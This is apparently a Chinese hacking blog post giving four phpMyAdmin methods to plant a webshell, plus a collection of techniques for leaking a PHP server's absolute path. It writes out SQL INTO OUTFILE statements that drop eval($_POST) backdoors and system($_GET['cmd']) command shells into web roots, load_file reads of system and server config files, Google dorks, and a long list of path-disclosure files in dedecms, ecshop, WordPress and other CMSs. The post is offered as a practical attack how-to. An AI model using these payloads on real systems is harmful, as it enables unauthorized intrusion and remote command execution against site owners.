phpmyadmin4种拿shell方法及php绝对路径收集

日期: 栏目:网络安全 浏览:1708 评论:0

php后台拿shell要知道php的路径,下面分享爆php路径的方法。

phpmyadmin4种拿shell方法及php绝对路径收集-第1张图片-Ceacer网络phpmyadmin4种拿shell方法及php绝对路径收集-第2张图片-Ceacer网络

方法一:

  1. CREATE TABLE `mysql`.`cesafe` (`cesafe1` TEXT NOT NULL );

  2. INSERT INTO `mysql`.`cesafe` (`cesafe1` )VALUES ('<?php @                        eval($_POST[cesafe])?>');

  3. SELECT cesafeFROM study INTO OUTFILE 'E:/wamp/www/7.php';

以上同时执行,在数据库: mysql 下创建一个表名为:cesafe,字段为cesafe1,导出到E:/wamp/www/7.php
一句话连接密码:cesafe

方法二:

  1. Create TABLE cesafe (cesafe1 text NOT NULL);

  2. Insert INTO cesafe (cesafe1) VALUES('<?去掉我php eval($_POST[cesafe])?>');

  3. select cesafe1 from cesafe into outfile 'E:/wamp/www/7.php';

  4. Drop TABLE IF EXISTS cesafe;

方法三:

  1. 读取文件内容:    select load_file('E:/xamp/www/s.php');

  2. 写一句话:select '<?php@                        eval($_POST[cesafe])?> >'INTO OUTFILE 'E:/xamp/www/cesafe.php'

  3. cmd执行权限:select '<?去掉我php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/cesafe.php'

方法四:

  1. select load_file('E:/xamp/www/cesafe.php');

  2. select '<?去掉我php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'E:/xamp/www/cesafe.php'

  3. 然后访问网站目录:https://www.cesafe.com/cesafe.php?cmd=dir

php爆路径方法收集 :

1、单引号爆路径

说明:

直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。

www.xxx.com/news.php?id=149′

2、错误参数值爆路径

说明:

将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。

www.xxx.com/researcharchive.php?id=-1

3、Google爆路径

说明:

结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。

Site:xxx.edu.tw warning

Site:xxx.com.tw “fatal error”

4、测试文件爆路径

说明:

很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。

www.xxx.com/test.php

www.xxx.com/ceshi.php

www.xxx.com/info.php

www.xxx.com/phpinfo.php

www.xxx.com/php_info.php

www.xxx.com/1.php

5、phpmyadmin爆路径

说明:

一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。PS:有些BT网站会写成phpMyAdmin。

  1. /phpmyadmin/libraries/lect_lang.lib.php

  2. /phpMyAdmin/index.php?lang[]=1

  3. /phpMyAdmin/phpinfo.php

  4.  load_file()

  5. /phpmyadmin/themes/darkblue_orange/layout.inc.php

  6. /phpmyadmin/libraries/select_lang.lib.php

  7. /phpmyadmin/libraries/lect_lang.lib.php

  8. /phpmyadmin/libraries/mcrypt.lib.php

6、配置文件找路径

说明:
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。

  1. Windows:

  2. c:\windows\php.ini                                    php配置文件

  3. c:\windows\system32\inetsrv\MetaBase.xml              IIS虚拟主机配置文件


  4. Linux:

  5. /etc/php.ini                                           php配置文件

  6. /etc/httpd/conf.d/php.conf

  7. /etc/httpd/conf/httpd.conf                             Apache配置文件

  8. /usr/local/apache/conf/httpd.conf

  9. /usr/local/apache2/conf/httpd.conf

  10. /usr/local/apache/conf/extra/httpd-vhosts.conf         虚拟目录配置文件

7、nginx文件类型错误解析爆路径

说明:

这是昨天无意中发现的方法,当然要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,还有可能爆出物理路径。

www.xxx.com/top.jpg/x.php

8、Other

  1. dedecms


  2. /member/templets/menulit.php


  3. plus/paycenter/alipay/return_url.php


  4. plus/paycenter/cbpayment/autoreceive.php


  5. paycenter/nps/config_pay_nps.php


  6. plus/task/dede-maketimehtml.php


  7. plus/task/dede-optimize-table.php


  8. plus/task/dede-upcache.php


  9. WP


  10. wp-admin/includes/file.php


  11. wp-content/themes/baiaogu-seo/footer.php


  12. ecshop商城系统暴路径漏洞文件


  13. /api/cron.php


  14. /wap/goods.php


  15. /temp/compiled/ur_here.lbi.php


  16. /temp/compiled/pages.lbi.php


  17. /temp/compiled/user_transaction.dwt.php


  18. /temp/compiled/history.lbi.php


  19. /temp/compiled/page_footer.lbi.php


  20. /temp/compiled/goods.dwt.php


  21. /temp/compiled/user_clips.dwt.php


  22. /temp/compiled/goods_article.lbi.php


  23. /temp/compiled/comments_list.lbi.php


  24. /temp/compiled/recommend_promotion.lbi.php


  25. /temp/compiled/search.dwt.php


  26. /temp/compiled/category_tree.lbi.php


  27. /temp/compiled/user_passport.dwt.php


  28. /temp/compiled/promotion_info.lbi.php


  29. /temp/compiled/user_menu.lbi.php


  30. /temp/compiled/message.dwt.php


  31. /temp/compiled/admin/pagefooter.htm.php


  32. /temp/compiled/admin/page.htm.php


  33. /temp/compiled/admin/start.htm.php


  34. /temp/compiled/admin/goods_search.htm.php


  35. /temp/compiled/admin/index.htm.php


  36. /temp/compiled/admin/order_list.htm.php


  37. /temp/compiled/admin/menu.htm.php


  38. /temp/compiled/admin/login.htm.php


  39. /temp/compiled/admin/message.htm.php


  40. /temp/compiled/admin/goods_list.htm.php


  41. /temp/compiled/admin/pageheader.htm.php


  42. /temp/compiled/admin/top.htm.php


  43. /temp/compiled/top10.lbi.php


  44. /temp/compiled/member_info.lbi.php


  45. /temp/compiled/bought_goods.lbi.php


  46. /temp/compiled/goods_related.lbi.php


  47. /temp/compiled/page_header.lbi.php


  48. /temp/compiled/goods_script.html.php


  49. /temp/compiled/index.dwt.php


  50. /temp/compiled/goods_fittings.lbi.php


  51. /temp/compiled/myship.dwt.php


  52. /temp/compiled/brands.lbi.php


  53. /temp/compiled/help.lbi.php


  54. /temp/compiled/goods_gallery.lbi.php


  55. /temp/compiled/comments.lbi.php


  56. /temp/compiled/myship.lbi.php


  57. /includes/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php


  58. /includes/modules/cron/auto_manage.php


  59. /includes/modules/cron/ipdel.php


  60. ucenter爆路径


  61. ucenter\control\admin\db.php


  62. DZbbs


  63. manyou/admincp.php?my_suffix=%0A%0DTOBY57


  64. z-blog


  65. admin/FCKeditor/editor/dialog/fck%5Fspellerpages/spellerpages/server%2Dscripts/spellchecker.php


  66. php168爆路径


  67. admin/inc/hack/count.php?job=list


  68. admin/inc/hack/search.php?job=getcode


  69. admin/inc/ajax/bencandy.php?job=do


  70. cache/MysqlTime.txt


  71. PHPcms2008-sp4


  72. 注册用户登陆后访问


  73. phpcms/corpandresize/process.php?pic=../images/logo.gif


  74. bo-blog


  75. PoC:


  76. /go.php/<[evil code]


  77. CMSeasy爆网站路径漏洞


  78. 漏洞出现在menu_top.php这个文件中


  79. lib/mods/celive/menu_top.php


  80. /lib/default/ballot_act.php


  81. lib/default/special_act.php



评论留言

我要留言

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。发布前请先查看评论规则:点我查看